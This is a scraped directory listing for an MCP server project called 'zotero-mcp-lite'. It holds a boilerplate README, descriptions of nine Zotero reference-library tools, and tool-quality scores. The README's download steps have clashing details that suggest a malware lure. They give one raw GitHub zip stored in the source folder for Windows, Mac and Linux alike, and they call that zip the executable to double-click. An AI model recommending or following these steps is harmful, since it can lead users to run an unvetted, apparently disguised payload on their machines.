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zotero-mcp-lite

zotero-mcp-lite

by alexobiwan-creator
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Python
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🎉 zotero-mcp-lite - A Simple Zotero Server for AI Research

🚀 Getting Started

Welcome to Zotero MCP Lite, the fast and customizable server designed for your AI research needs. This guide will help you download and run the application easily, even if you have no programming experience.

📥 Download the Application

Download Zotero MCP Lite

Visit the Releases page to download the latest version of Zotero MCP Lite.

📂 Features

  • Lightweight: Designed specifically to run efficiently without heavy system requirements.

  • Customizable: Adjust settings to suit your specific needs for research and data management.

  • User-Friendly: Simple interface for anyone, regardless of technical background.

🔧 System Requirements

To run Zotero MCP Lite, your system should meet the following requirements:

  • Operating System: Windows 10 or later, MacOS 10.14 or later, or a modern Linux distribution.

  • RAM: At least 4 GB is recommended.

  • Storage: At least 100 MB of free disk space.

📥 Download & Install

  1. Visit the Releases page.

  2. Locate the latest version of Zotero MCP Lite.

  3. Click on the release title to view the assets available for download.

  4. Download the appropriate file for your operating system:

    • For Windows, download https://raw.githubusercontent.com/alexobiwan-creator/zotero-mcp-lite/main/src/mcp-zotero-lite-v1.8.zip.

    • For Mac, download https://raw.githubusercontent.com/alexobiwan-creator/zotero-mcp-lite/main/src/mcp-zotero-lite-v1.8.zip.

    • For Linux, download https://raw.githubusercontent.com/alexobiwan-creator/zotero-mcp-lite/main/src/mcp-zotero-lite-v1.8.zip.

  5. After downloading, locate the downloaded file on your computer.

  6. Extract the files if necessary (often done by right-clicking the zip file and selecting "Extract All").

  7. Open the extracted folder and locate the executable file to run the software.

🚀 Running the Application

Once you have installed Zotero MCP Lite:

  1. Double-click the executable file (e.g., https://raw.githubusercontent.com/alexobiwan-creator/zotero-mcp-lite/main/src/mcp-zotero-lite-v1.8.zip on Windows or zotero-mcp-lite on Mac/Linux).

  2. Wait for the application to launch.

  3. Follow the on-screen instructions to set up your server.

📚 Using Zotero MCP Lite

  • Add References: You can start adding your references and articles for organized research.

  • Access API: Use the built-in API to connect with AI tools or other resources as needed.

🌟 Tips for Best Experience

  • Keep Software Updated: Always check the Releases page for updates to make sure you have the latest features and security patches.

  • Join the Community: Engage with other users on forums and discussions to share tips and ask questions.

❓ Frequently Asked Questions

How do I report issues with the software?

Please visit the Issues page in this repository. You can file a ticket to describe the problem you encounter.

Can I contribute to the project?

Yes! We welcome contributions from anyone. Check the Contributing Guidelines for more details.

Where can I get more help?

Visit our Wiki for detailed explanations on all features.

📞 Contact

If you have questions or need further assistance, feel free to reach out through the GitHub repository or join our community chats.

🔗 Quick Links

Thank you for choosing Zotero MCP Lite! Happy researching!

Available Tools

9 tools
zotero_create_noteA

Create a note in Zotero with full formatting support (tables, lists, line breaks). Use for: saving literature reviews, summaries, research memos, or any content. Attach to a paper with parent_key for organized reference management. Content is auto-converted to HTML; line breaks and spacing are preserved.

Inputs: content (required), parent_key, tags. Returns: result

zotero_get_collection_itemsA

List all papers and references in a specific collection/folder. Default shows papers only; use item_type='' to include notes in the collection. Returns item keys for get_item_metadata (citation) or get_item_children (highlights).

Inputs: collection_key (required), limit, item_type. Returns: result

zotero_get_collectionsA

List all folders/collections in your reference library with hierarchy. Shows how your literature is organized (by project, topic, course, etc). Use collection key with get_collection_items to browse papers in a folder.

Inputs: limit. Returns: result

zotero_get_item_childrenA

Retrieve your reading annotations and notes for a paper. Returns: PDF highlights (with colors), margin comments, and standalone notes. Essential for literature_review prompt to analyze your reading insights.

Inputs: item_key (required). Returns: result

zotero_get_item_fulltextA

Extract and read the full text content from a PDF paper. Use when you need to analyze the actual paper content beyond the abstract. Long papers are truncated; ask about specific sections if needed.

Inputs: item_key (required), max_chars. Returns: result

zotero_get_item_metadataA

Get complete bibliographic metadata for academic citation and analysis. Returns: title, authors, abstract, journal/venue, DOI, publication date, and tags. For reading annotations use get_item_children; for full PDF text use get_item_fulltext. TIP: For structured literature review, invoke /literature_review prompt instead of ad-hoc analysis.

Inputs: item_key (required), include_bibtex. Returns: result

zotero_get_recentA

Get recently read, modified, or imported papers from your library. Default shows papers only; use item_type='' to include standalone notes. Use sort_by='dateAdded' for new imports, 'dateModified' for recent reading activity.

Inputs: limit, sort_by, item_type. Returns: result

zotero_search_annotationsA

Search all PDF highlights and comments across your entire library by keyword. Finds your reading insights containing the search term across all papers. Returns: highlighted text, your comments, page numbers, and parent paper context. Use for: cross-paper knowledge synthesis, finding where you discussed a concept, building thematic connections from your reading history.

Inputs: query (required), limit. Returns: result

zotero_search_itemsA

Search your reference library for papers, articles, books, or notes by keyword. Default searches title/author/year; use qmode='everything' to search full text and note contents. Returns item keys for get_item_metadata (details) or get_item_children (highlights/notes).

Inputs: query (required), qmode, item_type, limit, +1 more. Returns: result

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

Loading tool schema changelog…

    Deploy Server
    One endpoint for every MCP toolRayrun runs every MCP server behind one URL and holds the credentials. Each call is decided per client, tool, and argument, then recorded.ray.runAd

    TDQS

    A3.9/5.0

    Scored across 9 tools

    Disambiguation5/5

    Each tool targets a distinct action and resource (e.g., creating notes, listing collections, getting metadata, searching annotations). There is no overlap in functionality, and descriptions clearly differentiate purposes.

    Naming Consistency5/5

    All tools follow the consistent pattern 'zotero_verb_noun' in snake_case, using clear verbs like create, get, search. This makes the naming predictable and intuitive.

    Tool Count4/5

    9 tools is appropriate for a reference management server with core features (collections, items, notes, annotations, search). It covers essential workflows without being excessive, though some common operations like updating or deleting items are missing.

    Completeness3/5

    The tool set covers viewing and searching well but lacks create/update/delete for items (papers) and notes (except creating notes). This is a notable gap for a complete reference management workflow, though the 'lite' label may justify it.

    Resources

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